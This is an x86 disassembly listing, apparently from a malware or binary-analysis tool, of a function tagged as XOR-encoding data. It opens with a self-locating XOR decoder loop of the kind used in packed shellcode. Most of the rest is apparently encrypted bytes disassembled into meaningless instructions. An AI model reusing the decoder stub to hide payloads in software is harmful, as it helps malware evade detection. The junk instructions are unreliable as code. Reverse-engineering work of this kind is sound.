Function at 0xf58de0
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0xc21a1e54
mov word [ecx + 0x40], cs
ret
jmp 0xf58dea
pushal
call 0xf58df0
pop ebp
sub ebp, 0x10
sub ebp, 0xb58de0
jmp 0xf58e06
mov eax, 0xb58de0
add eax, ebp
add eax, 0x4c
mov ecx, 0x5c7
mov edx, 0xa1a59a68
add eax, 0x68ba0000
lcall 0x4940, 0x1030a1a5
xor byte [eax], dl
inc eax
dec ecx
jne 0xf58e1d
jmp 0xf58e30
jecxz 0xf58dd7
jecxz 0xf58e15
push esp
push 0xa9e96868
nop
push 0xa56b6868
shr byte [esi + 0x68], 1
push 0x6840d268
push 0x6b8a9f68
mov al, byte [0x6864e9e3]
push 0x38ad6b68
cmp byte [eax], al
xor byte [ecx], dl
dec ecx
push 0xfc7ce000
push 0x4c4469
pop ds
xchg edi, eax
sub byte [ebx + 0x68686d80], ch
push 0x68684681
push 0xe3353c3d
in eax, dx
pushal
push 0xfde36868
push 0xe5e36868
js 0xf58eef
push 0x78e5e368
push 0x81a96868
push 0x59
push 0x6a81a968
pop ecx
push 0xffffffffffffffeb
stosb byte es:[edi], al
insb byte es:[edi], dx
and dword [edi - 0x13], esp
pushfd
xchg edi, eax
xchg edi, eax
xchg edi, eax
jecxz 0xf58ede
dec esp
in eax, 0xc
dec esp
insb byte es:[edi], dx
stosb byte es:[edi], al
push 0x6c4ce4e3
push 0x30006868
adc dword [ecx + 0x68], ecx
add al, ah
jl 0xf58eae
push 0xe54c4469
or al, 0x4c
xchg esp, eax
loope 0xf58f20
dec esp
sub byte [ebp + 0x68], 0x68
push 0x686a3b81
push 0x944c0ce5
loope 0xf58f11
dec esp
in eax, 4
dec esp
push 0x97641d97
sbb eax, 0x68168060
push 0x60d5e368
aad 0x60
push 0x99e96868
sbb eax, 0xe9367648
cdq
sbb eax, 0x5b367648
pop ebx
mov eax, dword [0x77e39ae9]
sbb al, 0xe9
lcall 0xba5b, 0x1cf277e3
jmp 0xf58e81
je 0xf58f64
call 0xed5d0fab
jb 0xf58f82
push 0x8193e868
in al, dx
in al, dx
jns 0xf58f8b
push 0x93e90e68
xchg edi, eax
dec ebp
in al, dx
jge 0xf58f96
push 0xa4812968
xchg edi, eax
xchg edi, eax
xchg edi, eax
inc ecx
and al, 0x51
imul ebp, ebx, 0x80eb6da9
insb byte es:[edi], dx
adc ebp, 0x41979797
cmp al, 0x51
push 0xffffffffffffffeb
test eax, 0x6c82eb6e
jmp 0xf58ed1
push 0x3e84e33d
aas
cmp eax, 0xe3641de3
adc eax, 0xe8da9460
loop 0xf58fda
jecxz 0xf58f7b
pushal
xchg esp, eax
invalid
jmp 0x695df91f
imul ebp, dword [eax + 0x68], 0xe96fe068
scasd eax, dword es:[edi]
push 0xafe96fe0
imul ebp, dword [eax + 0x68], 0x686ad368
push 0x68
push 0x67ba6a68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0xf58f46
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xf58f46
mov edx, 0x97b0eb67
jmp 0xf58f3f
xchg edi, eax
xchg edi, eax
xchg edi, eax
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xf58f59
mov edx, 0x6802eb67
push 0x6aa85b68
mov edx, 0x686ded67
push 0x2e7ee268
jp 0xf58f6e
jmp 0xf58fa4
push 0xba6aa85b
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xf58f6e
push 0x7a2e7ee2
mov edx, 0x6942eb67
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xf58f81
jmp 0xf58ff9
jnp 0xf58f71
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xf58f90
jnp 0xf58f80
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xf58f9f
jnp 0xf58f8f
push 0xffffffffffffffba
in eax, dx
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xf58fae
jnp 0xf58f9e
in al, dx
outsb dx, byte [esi]
push 0xb7e36868
inc ebx
mov al, 0xe2
imul esp, eax, 0x6f
das
shr dword [edx + 0x68], cl
push 0x97188168
xchg edi, eax
xchg edi, eax
shr byte [ecx + 0x68], 1
push 0x67ba6a68
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xf58fdb
jnp 0xf58fcb
push 0xffffffffffffffba
in eax, dx
insd dword es:[edi], dx
push 0x7ee26868
jp 0xf58fea
ljmp 0xab43:0x979797b6